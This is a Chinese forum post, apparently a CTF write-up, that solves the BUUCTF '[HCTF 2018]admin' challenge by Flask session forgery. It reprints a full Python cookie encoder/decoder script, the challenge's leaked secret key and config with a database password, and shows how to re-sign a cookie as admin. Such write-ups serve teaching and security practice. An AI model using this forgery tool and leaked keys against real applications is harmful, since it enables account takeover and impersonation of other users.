电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 524 人浏览分享

Flask之session伪造

[复制链接]
524 0
前言

本文结合CTF中遇到的题目来说一下session伪造,虽然已经有很多师傅写了,而且写的都特别好但是还是想
自己记录一下,也方便以后复习。ciscn中就有一个session伪造的题,由于之前没有做过就没做出来还是有
点遗憾的。但比较戏剧性的是,上午比赛刚结束,下午刷BUU的时候就遇到了同样的题目。嗐,还是自己
太菜下面就结合BUUCTF中的[HCTF 2018]admin来说一下,文中比较拙劣的地方还请师傅们指正一下。

正文

本来这个题是有三种解法的,分别是:flask session伪造、Unicode欺骗、条件竞争但是由于本篇文章
主要讲解flask session伪造,所以就不再讲另外两种方法啦。

QQ截图20220507153424.png

因为已经遇到了相似的了,所以也知道是为了拿到admin账号,我就直接注册了不过ciscn的那个题在
注册那里多了一个md5截断爆破,既然这里没有就直接注册。

QQ截图20220507153509.png

可以看到已经存在admin用户了,所以先随便注册一个普通用户,不过刚开始还以为是SQL注入
试过以后都不行,看了其他师傅的文章才知道是session伪造。

在将session伪造前需要提一下的是,session一般都是存储在服务器端的,但是由于flask是轻
量级的框架所以让session存储在了客户端的cookie中,也正是因为这个才导致了session伪造
的漏洞,从而达到冒充其他用户的目的。

6666.png

可以看到在更改密码的页面源码里面有GitHub的项目地址

6665.png

这里直接让源码下载到本地看一下,emmmm,只怪我代码审计能力不行 还是看了其他师傅的文章
才找到了flask用来签名的secret_key,就在config.py文件里面。

import os

class Config(object):
    SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
    SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
    SQLALCHEMY_TRACK_MODIFICATIONS = True

接下来我们就先让我们登录成功的session复制下来解密,注意得是登录成功以后的

1998.png

就是response响应包的session值,然后我们就开始解密,解密加密脚本可以直接从github上面下载
但是有时候github国内访问不了,我这里也在放一下
  1. #!/usr/bin/env python3
  2. """ Flask Session Cookie Decoder/Encoder """
  3. __author__ = 'Wilson Sumanang, Alexandre ZANNI'

  4. # standard imports
  5. import sys
  6. import zlib
  7. from itsdangerous import base64_decode
  8. import ast

  9. # Abstract Base Classes (PEP 3119)
  10. if sys.version_info[0] < 3: # < 3.0
  11.     raise Exception('Must be using at least Python 3')
  12. elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
  13.     from abc import ABCMeta, abstractmethod
  14. else: # > 3.4
  15.     from abc import ABC, abstractmethod

  16. # Lib for argument parsing
  17. import argparse

  18. # external Imports
  19. from flask.sessions import SecureCookieSessionInterface

  20. class MockApp(object):

  21.     def __init__(self, secret_key):
  22.         self.secret_key = secret_key


  23. if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
  24.     class FSCM(metaclass=ABCMeta):
  25.         def encode(secret_key, session_cookie_structure):
  26.             """ Encode a Flask session cookie """
  27.             try:
  28.                 app = MockApp(secret_key)

  29.                 session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
  30.                 si = SecureCookieSessionInterface()
  31.                 s = si.get_signing_serializer(app)

  32.                 return s.dumps(session_cookie_structure)
  33.             except Exception as e:
  34.                 return "[Encoding error] {}".format(e)
  35.                 raise e


  36.         def decode(session_cookie_value, secret_key=None):
  37.             """ Decode a Flask cookie  """
  38.             try:
  39.                 if(secret_key==None):
  40.                     compressed = False
  41.                     payload = session_cookie_value

  42.                     if payload.startswith('.'):
  43.                         compressed = True
  44.                         payload = payload[1:]

  45.                     data = payload.split(".")[0]

  46.                     data = base64_decode(data)
  47.                     if compressed:
  48.                         data = zlib.decompress(data)

  49.                     return data
  50.                 else:
  51.                     app = MockApp(secret_key)

  52.                     si = SecureCookieSessionInterface()
  53.                     s = si.get_signing_serializer(app)

  54.                     return s.loads(session_cookie_value)
  55.             except Exception as e:
  56.                 return "[Decoding error] {}".format(e)
  57.                 raise e
  58. else: # > 3.4
  59.     class FSCM(ABC):
  60.         def encode(secret_key, session_cookie_structure):
  61.             """ Encode a Flask session cookie """
  62.             try:
  63.                 app = MockApp(secret_key)

  64.                 session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
  65.                 si = SecureCookieSessionInterface()
  66.                 s = si.get_signing_serializer(app)

  67.                 return s.dumps(session_cookie_structure)
  68.             except Exception as e:
  69.                 return "[Encoding error] {}".format(e)
  70.                 raise e


  71.         def decode(session_cookie_value, secret_key=None):
  72.             """ Decode a Flask cookie  """
  73.             try:
  74.                 if(secret_key==None):
  75.                     compressed = False
  76.                     payload = session_cookie_value

  77.                     if payload.startswith('.'):
  78.                         compressed = True
  79.                         payload = payload[1:]

  80.                     data = payload.split(".")[0]

  81.                     data = base64_decode(data)
  82.                     if compressed:
  83.                         data = zlib.decompress(data)

  84.                     return data
  85.                 else:
  86.                     app = MockApp(secret_key)

  87.                     si = SecureCookieSessionInterface()
  88.                     s = si.get_signing_serializer(app)

  89.                     return s.loads(session_cookie_value)
  90.             except Exception as e:
  91.                 return "[Decoding error] {}".format(e)
  92.                 raise e


  93. if __name__ == "__main__":
  94.     # Args are only relevant for __main__ usage
  95.    
  96.     ## Description for help
  97.     parser = argparse.ArgumentParser(
  98.                 description='Flask Session Cookie Decoder/Encoder',
  99.                 epilog="Author : Wilson Sumanang, Alexandre ZANNI")

  100.     ## prepare sub commands
  101.     subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

  102.     ## create the parser for the encode command
  103.     parser_encode = subparsers.add_parser('encode', help='encode')
  104.     parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
  105.                                 help='Secret key', required=True)
  106.     parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
  107.                                 help='Session cookie structure', required=True)

  108.     ## create the parser for the decode command
  109.     parser_decode = subparsers.add_parser('decode', help='decode')
  110.     parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
  111.                                 help='Secret key', required=False)
  112.     parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
  113.                                 help='Session cookie value', required=True)

  114.     ## get args
  115.     args = parser.parse_args()

  116.     ## find the option chosen
  117.     if(args.subcommand == 'encode'):
  118.         if(args.secret_key is not None and args.cookie_structure is not None):
  119.             print(FSCM.encode(args.secret_key, args.cookie_structure))
  120.     elif(args.subcommand == 'decode'):
  121.         if(args.secret_key is not None and args.cookie_value is not None):
  122.             print(FSCM.decode(args.cookie_value,args.secret_key))
  123.         elif(args.cookie_value is not None):
  124.             print(FSCM.decode(args.cookie_value))
复制代码

我这里放的是python3的脚本,如果想用python2版本的师傅可以自行下载哈。

脚本使用方法:
解密:python
flask_session_cookie_manager3.py decode -s "secret_key" -c "需要解密的session值"
加密:python flask_session_cookie_manager3.py encode -s "secret_key" -t "需要加密的session值"

13.png

可以看到session已经解密为明文了,下面就让解密后的session值复制下来让用户名改为admin就
可以了再进行加密之后替换掉原来的session值就可以了

1218.png

在加密的时候让用户名teng替换为了admin,然后直接在浏览器中修改一下session值就可以了
也可用bp抓包修改

1219.png

修改过后刷新一下页面就可以啦

5.png

可以看到现在已经是admin用户了,并且flag也出来。

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.